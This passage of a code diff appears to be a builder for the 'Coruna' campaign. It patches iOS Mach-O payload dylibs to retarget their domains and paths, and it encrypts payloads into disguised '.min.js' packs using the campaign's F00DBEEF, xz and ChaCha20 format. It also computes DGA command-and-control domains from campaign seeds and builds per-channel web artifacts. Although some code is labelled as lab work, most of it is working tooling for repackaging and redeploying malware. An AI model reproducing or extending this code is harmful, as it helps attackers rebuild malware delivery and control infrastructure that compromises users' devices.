rep_pack=rep_pack,
label=f"{label}/slice{si}",
)
out[sl.file_offset : sl.file_offset + sl.size] = patched
print(
f"{label} slice{si}: fixed domains @ {entry:#x}..{end:#x} "
f"dep={len(dep)} rep={len(rep)} arm64e={info.is_arm64e}"
)
return bytes(out)
+657
View File
@@ -0,0 +1,657 @@
"""Safely retarget the native initial daily URL to a channel-scoped path.
type-0x01 thin dylibs and the fat core (``tmp.dylib`` / erupt_flee) represent
the path as an immutable CFString. The replacement is longer than the
original, so it is stored in validated, file-backed padding between the Mach-O
load commands and ``__text``. The CFString data pointer and length are then
updated while preserving the architecture's dyld relocation encoding.
Fat binaries are patched slice-by-slice in place (arm64 + arm64e).
"""
from __future__ import annotations
import struct
from dataclasses import dataclass, field
from _channel_patch import validate_channel_id
MH_MAGIC_64 = 0xFEEDFACF
FAT_MAGIC = 0xCAFEBABE
FAT_CIGAM = 0xBEBAFECA
CPU_TYPE_ARM64 = 0x0100000C
LC_SEGMENT_64 = 0x19
LC_UUID = 0x1B
LC_DYLD_INFO_ONLY = 0x80000022
LC_DYLD_CHAINED_FIXUPS = 0x80000034
OLD_DAILY_PATH = b"/sync/daily.html"
# Keep online-compatible path (shared sync/). Channel id is not part of the URL.
PATH_TEMPLATE = "/sync/daily.html"
_POINTER_SIZE = 8
@dataclass(frozen=True)
class _Profile:
architecture: str
uuid: str
path_offset: int
cfstring_offset: int
cave_offset: int
raw_reference: int
# These offsets are not used blindly: _inspect_source derives every location
# from Mach-O sections/relocations and requires it to equal the matching UUID's
# known layout before any bytes are changed.
_PROFILES = {
# type-0x01 secondary packs (thin)
"73827b4262ba3a5989ada4fe6f67e266": _Profile(
architecture="arm64",
uuid="73827b4262ba3a5989ada4fe6f67e266",
path_offset=0x3C9F8,
cfstring_offset=0x45488,
cave_offset=0x10B0,
raw_reference=0x3C9F8,
),
"ec21ac8ad85333d5a4f9723ff3f31a2c": _Profile(
architecture="arm64e",
uuid="ec21ac8ad85333d5a4f9723ff3f31a2c",
path_offset=0x409F0,
cfstring_offset=0x49A20,
cave_offset=0x10F0,
raw_reference=0x00100000000409F0,
),
# sync core tmp.dylib slices (fat: arm64 + arm64e)
"4262fd020de4337e9a690626a28fa4e3": _Profile(
architecture="arm64",
uuid="4262fd020de4337e9a690626a28fa4e3",
path_offset=0xE1AB8,
cfstring_offset=0x1134D8,
cave_offset=0x1180,
raw_reference=0xE1AB8,
),
"8a796924959b310481a4ace808db8521": _Profile(
architecture="arm64e",
uuid="8a796924959b310481a4ace808db8521",
path_offset=0xF1FE4,
cfstring_offset=0x123D80,
cave_offset=0x11C0,
raw_reference=0x00100000000F1FE4,
),
}
@dataclass(frozen=True)
class _FatSlice:
offset: int
size: int
@dataclass
class _Section:
segment: str
name: str
addr: int
size: int
offset: int
@dataclass
class _Segment:
name: str
vmaddr: int
vmsize: int
fileoff: int
filesize: int
initprot: int
sections: list[_Section] = field(default_factory=list)
@dataclass
class _MachO:
data: bytes
cpu_subtype: int
load_end: int
uuid: str
segments: list[_Segment]
dyld_rebase: tuple[int, int] | None
chained_fixups: tuple[int, int] | None
def section(self, segment: str, name: str) -> _Section:
hits = [
section
for item in self.segments
for section in item.sections
if section.segment == segment and section.name == name
]
if len(hits) != 1:
raise ValueError(f"expected one {segment},{name} section; found {len(hits)}")
return hits[0]
def segment(self, name: str) -> _Segment:
hits = [segment for segment in self.segments if segment.name == name]
if len(hits) != 1:
raise ValueError(f"expected one {name} segment; found {len(hits)}")
return hits[0]
@dataclass(frozen=True)
class _Inspection:
macho: _MachO
profile: _Profile
path_vmaddr: int
cfstring_offset: int
reference_offset: int
cave_vmaddr: int
def _fail(label: str, message: str) -> SystemExit:
return SystemExit(f"{label}: {message}. Refusing unsafe initial daily path patch.")
def _name(raw: bytes) -> str:
return raw.split(b"\x00", 1)[0].decode("ascii")
def _parse_macho(data: bytes, *, label: str) -> _MachO:
if len(data) < 32:
raise _fail(label, "truncated Mach-O header")
magic, cputype, cpusubtype, _filetype, ncmds, sizeofcmds = struct.unpack_from(
"<IIIIII", data, 0
)
if magic != MH_MAGIC_64 or cputype != CPU_TYPE_ARM64:
raise _fail(label, "expected a thin little-endian arm64 Mach-O")
load_end = 32 + sizeofcmds
if load_end > len(data):
raise _fail(label, "load commands exceed file size")
segments: list[_Segment] = []
uuid = ""
dyld_rebase: tuple[int, int] | None = None
chained_fixups: tuple[int, int] | None = None
offset = 32
for _ in range(ncmds):
if offset + 8 > load_end:
raise _fail(label, "truncated load command")
cmd, cmdsize = struct.unpack_from("<II", data, offset)
if cmdsize < 8 or offset + cmdsize > load_end:
raise _fail(label, "invalid load command size")
if cmd == LC_SEGMENT_64:
if cmdsize < 72:
raise _fail(label, "truncated LC_SEGMENT_64")
segname = _name(data[offset + 8 : offset + 24])
vmaddr, vmsize, fileoff, filesize = struct.unpack_from(
"<QQQQ", data, offset + 24
)
initprot = struct.unpack_from("<i", data, offset + 60)[0]
nsects = struct.unpack_from("<I", data, offset + 64)[0]
if 72 + nsects * 80 > cmdsize:
raise _fail(label, f"{segname} section table exceeds load command")
segment = _Segment(
segname, vmaddr, vmsize, fileoff, filesize, initprot
)
section_offset = offset + 72
for _section_index in range(nsects):
sectname = _name(data[section_offset : section_offset + 16])
section_segment = _name(
data[section_offset + 16 : section_offset + 32]
)
addr, size = struct.unpack_from("<QQ", data, section_offset + 32)
file_offset = struct.unpack_from("<I", data, section_offset + 48)[0]
if file_offset and file_offset + size > len(data):
raise _fail(label, f"{section_segment},{sectname} exceeds file size")
segment.sections.append(
_Section(section_segment, sectname, addr, size, file_offset)
)
section_offset += 80
segments.append(segment)
elif cmd == LC_UUID:
if cmdsize != 24 or uuid:
raise _fail(label, "invalid or duplicate LC_UUID")
uuid = data[offset + 8 : offset + 24].hex()
elif cmd == LC_DYLD_INFO_ONLY:
if cmdsize != 48:
raise _fail(label, "invalid LC_DYLD_INFO_ONLY")
rebase_off, rebase_size = struct.unpack_from("<II", data, offset + 8)
dyld_rebase = (rebase_off, rebase_size)
elif cmd == LC_DYLD_CHAINED_FIXUPS:
if cmdsize != 16:
raise _fail(label, "invalid LC_DYLD_CHAINED_FIXUPS")
chained_fixups = struct.unpack_from("<II", data, offset + 8)
offset += cmdsize
if offset != load_end or not uuid:
raise _fail(label, "load command extent or UUID differs")
return _MachO(
data,
cpusubtype,
load_end,
uuid,
segments,
dyld_rebase,
chained_fixups,
)
def _vmaddr_for_file_offset(macho: _MachO, offset: int) -> int:
hits = [
segment.vmaddr + offset - segment.fileoff
for segment in macho.segments
if segment.fileoff <= offset < segment.fileoff + segment.filesize
]
if len(hits) != 1:
raise ValueError(f"file offset {offset:#x} is not in one file-backed segment")
return hits[0]
def _file_offset_for_vmaddr(macho: _MachO, address: int) -> int:
hits = [
segment.fileoff + address - segment.vmaddr
for segment in macho.segments
if (
segment.vmaddr <= address < segment.vmaddr + segment.filesize
and segment.filesize
)
]
if len(hits) != 1:
raise ValueError(f"vmaddr {address:#x} is not in one file-backed segment")
return hits[0]
def _read_uleb(data: bytes, offset: int, end: int) -> tuple[int, int]:
value = 0
shift = 0
while offset < end and shift < 64:
byte = data[offset]
offset += 1
value |= (byte & 0x7F) << shift
if not byte & 0x80:
return value, offset
shift += 7
raise ValueError("invalid ULEB128")
def _classic_rebase_locations(macho: _MachO) -> set[int]:
if macho.dyld_rebase is None:
raise ValueError("missing LC_DYLD_INFO_ONLY")
start, size = macho.dyld_rebase
end = start + size
if start < macho.load_end or end > len(macho.data):
raise ValueError("invalid dyld rebase stream")
segment_index = -1
address = 0
locations: set[int] = set()
offset = start
def record(count: int, skip: int = 0) -> None:
nonlocal address
if segment_index < 0 or segment_index >= len(macho.segments):
raise ValueError("rebase before segment selection")
segment = macho.segments[segment_index]
for _ in range(count):
if not (segment.vmaddr <= address < segment.vmaddr + segment.vmsize):
raise ValueError("rebase address exceeds segment")
locations.add(address)
address += _POINTER_SIZE + skip
while offset < end:
byte = macho.data[offset]
offset += 1
opcode, immediate = byte & 0xF0, byte & 0x0F
if opcode == 0x00:
break
if opcode == 0x10: # SET_TYPE_IMM
if immediate != 1:
raise ValueError("unsupported non-pointer rebase type")
elif opcode == 0x20: # SET_SEGMENT_AND_OFFSET_ULEB
segment_index = immediate
delta, offset = _read_uleb(macho.data, offset, end)
if segment_index >= len(macho.segments):
raise ValueError("invalid rebase segment index")
address = macho.segments[segment_index].vmaddr + delta
elif opcode == 0x30: # ADD_ADDR_ULEB
delta, offset = _read_uleb(macho.data, offset, end)
address += delta
elif opcode == 0x40: # ADD_ADDR_IMM_SCALED
address += immediate * _POINTER_SIZE
elif opcode == 0x50: # DO_REBASE_IMM_TIMES
record(immediate)
elif opcode == 0x60: # DO_REBASE_ULEB_TIMES
count, offset = _read_uleb(macho.data, offset, end)
record(count)
elif opcode == 0x70: # DO_REBASE_ADD_ADDR_ULEB
skip, offset = _read_uleb(macho.data, offset, end)
record(1, skip)
elif opcode == 0x80: # DO_REBASE_ULEB_TIMES_SKIPPING_ULEB
count, offset = _read_uleb(macho.data, offset, end)
skip, offset = _read_uleb(macho.data, offset, end)
record(count, skip)
else:
raise ValueError(f"unsupported rebase opcode {opcode:#x}")
return locations
def _arm64e_target(raw: int) -> int | None:
# DYLD_CHAINED_PTR_ARM64E non-auth rebase:
# target:43, high8:8, next:11, bind:1, auth:1.
if (raw >> 63) & 1 or (raw >> 62) & 1:
return None
target = raw & ((1 << 43) - 1)
high8 = (raw >> 43) & 0xFF
return target | (high8 << 56)
def _chained_arm64e_locations(macho: _MachO) -> set[int]:
if macho.chained_fixups is None:
raise ValueError("missing LC_DYLD_CHAINED_FIXUPS")
dataoff, datasize = macho.chained_fixups
end = dataoff + datasize
if dataoff < macho.load_end or end > len(macho.data) or datasize < 28:
raise ValueError("invalid chained-fixups payload")
(
version,
starts_offset,
_imports_offset,
_symbols_offset,
_imports_count,
_imports_format,
_symbols_format,
) = struct.unpack_from("<7I", macho.data, dataoff)
if version != 0:
raise ValueError(f"unsupported chained-fixups version {version}")
starts = dataoff + starts_offset
if starts + 4 > end:
raise ValueError("invalid chained starts offset")
segment_count = struct.unpack_from("<I", macho.data, starts)[0]
if segment_count != len(macho.segments):
raise ValueError("chained segment count differs from Mach-O segments")
table_end = starts + 4 + segment_count * 4
if table_end > end:
raise ValueError("truncated chained segment table")
locations: set[int] = set()
for segment_index in range(segment_count):
relative = struct.unpack_from("<I", macho.data, starts + 4 + 4 * segment_index)[0]
if not relative:
continue
info = starts + relative
if info + 22 > end:
raise ValueError("truncated chained segment info")
size, page_size, pointer_format, segment_offset, _max_ptr, page_count = (
struct.unpack_from("<IHHQIH", macho.data, info)
)
if pointer_format != 1: # DYLD_CHAINED_PTR_ARM64E
raise ValueError(f"unsupported chained pointer format {pointer_format}")
if size < 22 + page_count * 2 or info + size > end:
raise ValueError("invalid chained segment info size")
segment = macho.segments[segment_index]
if segment_offset != segment.vmaddr:
raise ValueError("chained segment offset differs from vmaddr")
for page_index in range(page_count):
page_start = struct.unpack_from(
"<H", macho.data, info + 22 + page_index * 2
)[0]
if page_start == 0xFFFF:
continue
if page_start & 0x8000:
raise ValueError("unsupported multi-start chained page")
address = segment_offset + page_index * page_size + page_start
while True:
file_offset = segment.fileoff + address - segment.vmaddr
if file_offset + 8 > segment.fileoff + segment.filesize:
raise ValueError("chained pointer exceeds file-backed segment")
locations.add(address)
raw = struct.unpack_from("<Q", macho.data, file_offset)[0]
next_delta = (raw >> 51) & 0x7FF
if not next_delta:
break
address += next_delta * 8
return locations
def _inspect_source(data: bytes, *, replacement_size: int, label: str) -> _Inspection:
try:
macho = _parse_macho(data, label=label)
profile = _PROFILES.get(macho.uuid)
if profile is None:
raise ValueError(f"unsupported Mach-O UUID {macho.uuid}")
base_subtype = macho.cpu_subtype & 0x00FFFFFF
architecture = "arm64e" if base_subtype == 2 else "arm64" if base_subtype == 0 else ""
if architecture != profile.architecture:
raise ValueError(
f"CPU subtype resolves to {architecture or base_subtype}, expected "
f"{profile.architecture}"
)
cstring = macho.section("__TEXT", "__cstring")
needle = OLD_DAILY_PATH + b"\x00"
region = data[cstring.offset : cstring.offset + cstring.size]
relative_hits = []
start = 0
while True:
hit = region.find(needle, start)
if hit < 0:
break
relative_hits.append(hit)
start = hit + 1
if len(relative_hits) != 1:
raise ValueError(f"source daily path hits={len(relative_hits)}, expected 1")
path_offset = cstring.offset + relative_hits[0]
path_vmaddr = cstring.addr + relative_hits[0]
cfstring = macho.section("__DATA_CONST", "__cfstring")
if cfstring.size % 32:
raise ValueError("__cfstring size is not record-aligned")
candidates: list[tuple[int, int]] = []
for record_offset in range(
cfstring.offset, cfstring.offset + cfstring.size, 32
):
raw = struct.unpack_from("<Q", data, record_offset + 16)[0]
length = struct.unpack_from("<Q", data, record_offset + 24)[0]
target = raw if architecture == "arm64" else _arm64e_target(raw)
if target == path_vmaddr and length == len(OLD_DAILY_PATH):
candidates.append((record_offset, raw))
if len(candidates) != 1:
raise ValueError(f"daily path CFString refs={len(candidates)}, expected 1")
cfstring_offset, raw_reference = candidates[0]
reference_offset = cfstring_offset + 16
reference_vmaddr = _vmaddr_for_file_offset(macho, reference_offset)
if architecture == "arm64":
locations = _classic_rebase_locations(macho)
path_references = [
address
for address in locations
if struct.unpack_from(
"<Q", data, _file_offset_for_vmaddr(macho, address)
)[0]
== path_vmaddr
]
else:
locations = _chained_arm64e_locations(macho)
path_references = [
address
for address in locations
if _arm64e_target(
struct.unpack_from(
"<Q", data, _file_offset_for_vmaddr(macho, address)
)[0]
)
== path_vmaddr
]
if path_references != [reference_vmaddr]:
raise ValueError(
"relocated source path references differ "
f"(found={tuple(hex(address) for address in path_references)})"
)
text_segment = macho.segment("__TEXT")
text_section = macho.section("__TEXT", "__text")
cave_offset = (macho.load_end + 15) & ~15
if not (
text_segment.fileoff <= cave_offset
and cave_offset + replacement_size <= text_section.offset
and text_section.offset <= text_segment.fileoff + text_segment.filesize
and text_segment.initprot & 1
):
raise ValueError("load-command padding is not safe file-backed __TEXT data")
if data[cave_offset : cave_offset + replacement_size] != b"\x00" * replacement_size:
raise ValueError("expected zero-filled __TEXT cave differs")
cave_vmaddr = _vmaddr_for_file_offset(macho, cave_offset)
observed = (
path_offset,
cfstring_offset,
cave_offset,
raw_reference,
)
expected = (
profile.path_offset,
profile.cfstring_offset,
profile.cave_offset,
profile.raw_reference,
)
if observed != expected:
raise ValueError(
"derived source layout differs from UUID profile "
f"(observed={tuple(hex(x) for x in observed)})"
)
return _Inspection(
macho,
profile,
path_vmaddr,
cfstring_offset,
reference_offset,
cave_vmaddr,
)
except (IndexError, struct.error, UnicodeDecodeError, ValueError) as exc:
raise _fail(label, str(exc)) from exc
def _fat_slices(data: bytes, *, label: str) -> list[_FatSlice] | None:
if len(data) < 8:
return None
magic = struct.unpack_from(">I", data, 0)[0]
if magic not in (FAT_MAGIC, FAT_CIGAM):
return None
nfat = struct.unpack_from(">I", data, 4)[0]
if nfat < 1 or 8 + nfat * 20 > len(data):
raise _fail(label, "invalid fat header")
slices: list[_FatSlice] = []
for index in range(nfat):
_cputype, _cpusubtype, offset, size, _align = struct.unpack_from(
">IIIII", data, 8 + index * 20
)
if offset < 0 or size < 1 or offset + size > len(data):
raise _fail(label, f"fat slice {index} exceeds file size")
slices.append(_FatSlice(offset, size))
return slices
def _patch_thin_daily_path(
data: bytes, channel: str, *, label: str
) -> tuple[bytes, dict[str, object]]:
new_path = PATH_TEMPLATE.format(channel=channel).encode("ascii")
encoded = new_path + b"\x00"
inspection = _inspect_source(data, replacement_size=len(encoded), label=label)
buf = bytearray(data)
cave_offset = inspection.profile.cave_offset
buf[cave_offset : cave_offset + len(encoded)] = encoded
raw = struct.unpack_from("<Q", data, inspection.reference_offset)[0]
if inspection.profile.architecture == "arm64":
new_raw = inspection.cave_vmaddr
else:
if _arm64e_target(raw) != inspection.path_vmaddr:
raise _fail(label, "arm64e source reference changed before write")
if inspection.cave_vmaddr >= 1 << 43:
raise _fail(label, "arm64e cave target exceeds chained pointer range")
new_raw = (raw & ~((1 << 43) - 1)) | inspection.cave_vmaddr
struct.pack_into("<Q", buf, inspection.reference_offset, new_raw)
struct.pack_into("<Q", buf, inspection.cfstring_offset + 24, len(new_path))
patched = bytes(buf)
if (
patched[cave_offset : cave_offset + len(encoded)] != encoded
or struct.unpack_from("<Q", patched, inspection.cfstring_offset + 24)[0]
!= len(new_path)
):
raise _fail(label, "post-patch path or CFString length validation failed")
target = (
struct.unpack_from("<Q", patched, inspection.reference_offset)[0]
if inspection.profile.architecture == "arm64"
else _arm64e_target(
struct.unpack_from("<Q", patched, inspection.reference_offset)[0]
)
)
if target != inspection.cave_vmaddr:
raise _fail(label, "post-patch CFString reference validation failed")
metadata: dict[str, object] = {
"architecture": inspection.profile.architecture,
"macho_uuid": inspection.profile.uuid,
"strategy": "cfstring_retarget_to_text_padding",
"source_path": OLD_DAILY_PATH.decode("ascii"),
"path": new_path.decode("ascii"),
"path_file_offset": cave_offset,
"path_vmaddr": f"0x{inspection.cave_vmaddr:x}",
"cfstring_file_offset": inspection.cfstring_offset,
"reference_file_offset": inspection.reference_offset,
}
return patched, metadata
def patch_initial_daily_path(
data: bytes, channel: str, *, label: str = "dylib"
) -> tuple[bytes, dict[str, object]]:
"""Patch the initial daily CFString and return bytes plus manifest metadata.
Accepts thin type-0x01 dylibs or the fat core ``tmp.dylib``.
When ``PATH_TEMPLATE`` equals the pristine ``/sync/daily.html``, this is a no-op.
"""
channel = validate_channel_id(channel, name="channel")
new_path = PATH_TEMPLATE.format(channel=channel)
if new_path.encode("ascii") == OLD_DAILY_PATH:
return data, {
"container": "unchanged",
"strategy": "noop_online_path",
"source_path": OLD_DAILY_PATH.decode("ascii"),
"path": new_path,
}
slices = _fat_slices(data, label=label)
if slices is None:
return _patch_thin_daily_path(data, channel, label=label)
if len(slices) != 2:
raise _fail(label, f"expected fat arm64+arm64e (2 slices), found {len(slices)}")
buf = bytearray(data)
slice_meta: list[dict[str, object]] = []
for index, slice_info in enumerate(slices):
thin = bytes(buf[slice_info.offset : slice_info.offset + slice_info.size])
patched_thin, meta = _patch_thin_daily_path(
thin, channel, label=f"{label}[slice{index}]"
)
if len(patched_thin) != slice_info.size:
raise _fail(label, "fat slice size changed after path patch")
buf[slice_info.offset : slice_info.offset + slice_info.size] = patched_thin
meta = {
**meta,
"fat_slice_offset": slice_info.offset,
"fat_slice_size": slice_info.size,
}
slice_meta.append(meta)
architectures = {item["architecture"] for item in slice_meta}
if architectures != {"arm64", "arm64e"}:
raise _fail(label, f"unexpected fat architectures {sorted(architectures)}")
new_path = PATH_TEMPLATE.format(channel=channel)
metadata: dict[str, object] = {
"container": "fat",
"strategy": "cfstring_retarget_to_text_padding",
"source_path": OLD_DAILY_PATH.decode("ascii"),
"path": new_path,
"slices": slice_meta,
}
return bytes(buf), metadata
+148
View File
@@ -0,0 +1,148 @@
"""Keep Deployment/Reporting URL scheme as ``https://%@``.
Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
``daily.html`` plugin URLs use ``https://[HOST_PLACEHOLDER]/...``.
Older lab builds patched scheme to cleartext for proxy testing:
- ``https://%@`` → ``http://%@\\0`` (9 visible chars + NUL pad), CFString length 10 → 9
- mistaken same-length form ``http://%@/`` (caused ``host//path``)
This module leaves pristine ``https://%@`` alone and restores any of those
legacy http forms back to ``https://%@`` (CFString length 10).
"""
from __future__ import annotations
import struct
from _path_patch import _arm64e_target, _fat_slices, _parse_macho
HTTPS = b"https://%@"
# Previous mistaken same-length patch (caused host//path).
LEGACY_SLASH = b"http://%@/"
# 10-byte slot from http cleartext patch: 9-char format + NUL pad.
HTTP_SLOT = b"http://%@\x00"
HTTP_VISIBLE = b"http://%@"
# Back-compat aliases for tests / importers that still use the old names.
OLD = HTTPS
NEW_SLOT = HTTP_SLOT
NEW_VISIBLE = HTTP_VISIBLE
def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
macho = _parse_macho(data, label=label)
base_subtype = macho.cpu_subtype & 0x00FFFFFF
architecture = (
"arm64e" if base_subtype == 2 else "arm64" if base_subtype == 0 else ""
)
if architecture not in {"arm64", "arm64e"}:
raise SystemExit(f"{label}: unsupported CPU subtype {base_subtype}")
cstring = macho.section("__TEXT", "__cstring")
region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
https_count = region.count(HTTPS)
slash_count = region.count(LEGACY_SLASH)
http_slot_count = region.count(HTTP_SLOT)
if https_count == expect_hits and slash_count == 0 and http_slot_count == 0:
# Already https://%@ — nothing to do.
return data
if slash_count == expect_hits and https_count == 0 and http_slot_count == 0:
source = LEGACY_SLASH
elif http_slot_count == expect_hits and https_count == 0 and slash_count == 0:
source = HTTP_SLOT
else:
raise SystemExit(
f"{label}: expected {expect_hits} {HTTPS!r} (or legacy http forms) in "
f"__cstring; found https={https_count} slash={slash_count} "
f"http_slot={http_slot_count}"
)
hits: list[int] = []
start = 0
while True:
hit = region.find(source, start)
if hit < 0:
break
hits.append(hit)
start = hit + 1
if len(hits) != expect_hits:
raise SystemExit(
f"{label}: __cstring scheme hits={len(hits)}, expected {expect_hits}"
)
for hit in hits:
region[hit : hit + len(HTTPS)] = HTTPS
buf = bytearray(data)
buf[cstring.offset : cstring.offset + cstring.size] = region
cfstring = macho.section("__DATA_CONST", "__cfstring")
if cfstring.size % 32:
raise SystemExit(f"{label}: __cfstring size is not record-aligned")
patched_lengths = 0
for hit in hits:
path_vmaddr = cstring.addr + hit
for record_offset in range(
cfstring.offset, cfstring.offset + cfstring.size, 32
):
raw = struct.unpack_from("<Q", buf, record_offset + 16)[0]
length = struct.unpack_from("<Q", buf, record_offset + 24)[0]
target = raw if architecture == "arm64" else _arm64e_target(raw)
if target != path_vmaddr:
continue
if length not in (len(HTTPS), len(HTTP_VISIBLE)):
raise SystemExit(
f"{label}: scheme CFString length={length}, expected "
f"{len(HTTPS)} or {len(HTTP_VISIBLE)}"
)
struct.pack_into("<Q", buf, record_offset + 24, len(HTTPS))
patched_lengths += 1
break
else:
raise SystemExit(
f"{label}: no CFString pointing at scheme cstring vmaddr {path_vmaddr:#x}"
)
if patched_lengths != expect_hits:
raise SystemExit(
f"{label}: patched {patched_lengths} CFString lengths, expected {expect_hits}"
)
return bytes(buf)
def ensure_deployment_scheme_https(
data: bytes,
*,
expect_hits: int,
label: str,
) -> bytes:
"""Ensure ``https://%@`` (CFString length 10) in thin or fat dylibs.
``expect_hits`` is the total number of format strings across the whole file
(2 for fat core, 1 for thin type0x01). Restores legacy lab http patches.
"""
slices = _fat_slices(data, label=label)
if slices is None:
return _patch_thin_scheme(data, expect_hits=expect_hits, label=label)
if expect_hits % len(slices) != 0:
raise SystemExit(
f"{label}: expect_hits={expect_hits} not divisible by fat slices={len(slices)}"
)
per_slice = expect_hits // len(slices)
buf = bytearray(data)
for index, slice_info in enumerate(slices):
thin = bytes(buf[slice_info.offset : slice_info.offset + slice_info.size])
patched = _patch_thin_scheme(
thin, expect_hits=per_slice, label=f"{label}[slice{index}]"
)
if len(patched) != slice_info.size:
raise SystemExit(f"{label}: fat slice size changed after scheme patch")
buf[slice_info.offset : slice_info.offset + slice_info.size] = patched
return bytes(buf)
+62
View File
@@ -0,0 +1,62 @@
"""Encrypt/decrypt Coruna secondary type-0x01 .min.js packs."""
from __future__ import annotations
import lzma
import struct
from Crypto.Cipher import ChaCha20
WRAP_MAGIC = b"\x0d\xf0\xed\x0b" # 0x0BEDF00D LE
F00D_MAGIC = 0xF00DBEEF
def build_f00dbeef_type01(dylib: bytes) -> bytes:
"""Single-entry F00DBEEF used by this campaign's secondary packs."""
header = struct.pack(
"<6I",
F00D_MAGIC,
1, # version / entry-count field as in sample
0x00010000, # type 0x01
3,
0x18, # payload offset
len(dylib),
)
return header + dylib
def wrap_xz(plaintext: bytes) -> bytes:
compressed = lzma.compress(plaintext, format=lzma.FORMAT_XZ)
return WRAP_MAGIC + struct.pack("<I", len(plaintext)) + compressed
def unwrap_xz(blob: bytes) -> bytes:
if blob[:4] != WRAP_MAGIC:
raise ValueError(f"bad wrap magic: {blob[:4]!r}")
expected = struct.unpack_from("<I", blob, 4)[0]
plain = lzma.decompress(blob[8:])
if len(plain) != expected:
raise ValueError(f"xz size mismatch: {len(plain)} != {expected}")
return plain
def chacha_crypt(data: bytes, key: bytes) -> bytes:
if len(key) != 32:
raise ValueError("ChaCha20 key must be 32 bytes")
return ChaCha20.new(key=key, nonce=b"\x00" * 8).encrypt(data)
def encrypt_secondary_minjs(dylib: bytes, key: bytes) -> bytes:
return chacha_crypt(wrap_xz(build_f00dbeef_type01(dylib)), key)
def decrypt_secondary_minjs(blob: bytes, key: bytes) -> bytes:
plain = unwrap_xz(chacha_crypt(blob, key))
if struct.unpack_from("<I", plain, 0)[0] != F00D_MAGIC:
raise ValueError("not F00DBEEF after decrypt")
offset = struct.unpack_from("<I", plain, 16)[0]
size = struct.unpack_from("<I", plain, 20)[0]
dylib = plain[offset : offset + size]
if len(dylib) != size:
raise ValueError("truncated dylib in F00DBEEF")
return dylib
@@ -0,0 +1,72 @@
#!/usr/bin/env python3
"""Compute Deployment + Reporting DGA candidate domains from seeds (offline)."""
from __future__ import annotations
import argparse
import json
from _common import (
ORIGINAL_DEPLOYMENT_SEED,
ORIGINAL_REPORTING_SEED,
validate_seed_arg,
)
from reproduce_coruna_dga import generate_domains
def main() -> int:
parser = argparse.ArgumentParser(
description="Print Coruna PLServerPool DGA candidates for Deployment + Reporting seeds"
)
parser.add_argument(
"--deployment-seed",
default=ORIGINAL_DEPLOYMENT_SEED,
help=f"default: original campaign seed ({ORIGINAL_DEPLOYMENT_SEED})",
)
parser.add_argument(
"--reporting-seed",
default=ORIGINAL_REPORTING_SEED,
help=f"default: original campaign seed ({ORIGINAL_REPORTING_SEED})",
)
parser.add_argument(
"-n",
"--count",
type=int,
default=5,
help="candidates per pool (operational pool uses 5; max 512)",
)
parser.add_argument("--json", action="store_true", help="emit JSON")
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
payload = {
"deployment": {
"seed": dep,
"domains": generate_domains(dep, args.count),
},
"reporting": {
"seed": rep,
"domains": generate_domains(rep, args.count),
},
"note": (
"Native helper generates 512 strings; PLServerPool keeps the first 5 "
"as the live candidate pool."
),
}
if args.json:
print(json.dumps(payload, indent=2))
return 0
print(f"deployment seed={dep}")
for i, domain in enumerate(payload["deployment"]["domains"], 1):
print(f" {i:03d} {domain}")
print(f"reporting seed={rep}")
for i, domain in enumerate(payload["reporting"]["domains"], 1):
print(f" {i:03d} {domain}")
return 0
if __name__ == "__main__":
raise SystemExit(main())
@@ -0,0 +1,51 @@
#!/usr/bin/env python3
"""Delete one channel's web/<id>/ tree; leave shared sync/ and lab_seeds.json intact."""
from __future__ import annotations
import argparse
import json
import shutil
import sys
from pathlib import Path
from _channel_patch import validate_channel_id
from _common import ARTIFACTS_ROOT
RESULT_MARKER = "CORUNA_BUILD_RESULT "
def main() -> int:
parser = argparse.ArgumentParser(description="Remove web/<channel-id>/ from artifact root")
parser.add_argument("--channel-id", required=True)
parser.add_argument(
"--artifact-root",
type=Path,
default=ARTIFACTS_ROOT,
help=f"shared artifact root (default: {ARTIFACTS_ROOT})",
)
args = parser.parse_args()
channel = validate_channel_id(args.channel_id)
artifact_root = args.artifact_root.resolve()
web_dir = artifact_root / "web" / channel
removed = False
if web_dir.is_dir():
shutil.rmtree(web_dir)
removed = True
print(f"removed {web_dir}")
else:
print(f"missing {web_dir} (noop)")
result = {
"status": "deleted" if removed else "absent",
"channel_id": channel,
"artifact_root": str(artifact_root),
"removed": removed,
}
print(RESULT_MARKER + json.dumps(result, separators=(",", ":")), flush=True)
return 0
if __name__ == "__main__":
raise SystemExit(main())
+415
View File
@@ -0,0 +1,415 @@
#!/usr/bin/env python3
"""Build channel assets into a shared online-compatible artifact root.
Layout:
{artifact-root}/
lab_seeds.json
sync/ # shared; rebuilt when seeds are created/changed
web/{channel-id}/ # per channel
Seed resolution:
1. both --deployment-seed and --reporting-seed
2. else lab_seeds.json
3. else random generate + write lab_seeds.json
Emits a final JSON object on stdout (last line) for Laravel to parse.
"""
from __future__ import annotations
import argparse
import hashlib
import json
import secrets
import shutil
import subprocess
import sys
from datetime import datetime, timezone
from pathlib import Path
from _channel_patch import gen_channel_id, validate_channel_id
from _common import (
ARTIFACTS_ROOT,
ORIGINAL_CORE_CHANNEL_ID,
SOURCE_ROOT,
STATE_ROOT,
validate_seed_arg,
)
TOOLS = Path(__file__).resolve().parent
BUILDER_ROOT = TOOLS.parent
SUPPORT_TEMPLATES = ("test", "blank")
DEFAULT_SUPPORT_TEMPLATE = "test"
SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
LAB_SEEDS_NAME = "lab_seeds.json"
RESULT_MARKER = "CORUNA_BUILD_RESULT "
def _ignore_junk(_dir: str, names: list[str]) -> set[str]:
skip = {"_bak", "__pycache__", ".DS_Store"}
return {n for n in names if n in skip or n.endswith(".pyc")}
def replace_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
shutil.copytree(src, dst, symlinks=False, ignore=_ignore_junk)
def normalize_support_template(value: str | None) -> str:
template = (value or DEFAULT_SUPPORT_TEMPLATE).strip().lower()
if template not in SUPPORT_TEMPLATES:
raise SystemExit(
f"unsupported --support-template {value!r}; "
f"choose one of: {', '.join(SUPPORT_TEMPLATES)}"
)
return template
def apply_support_template(campaign_dir: Path, template: str) -> None:
template = normalize_support_template(template)
dest = campaign_dir / "support.html"
if template == "test":
if not dest.is_file():
raise SystemExit(f"missing support.html after campaign copy: {dest}")
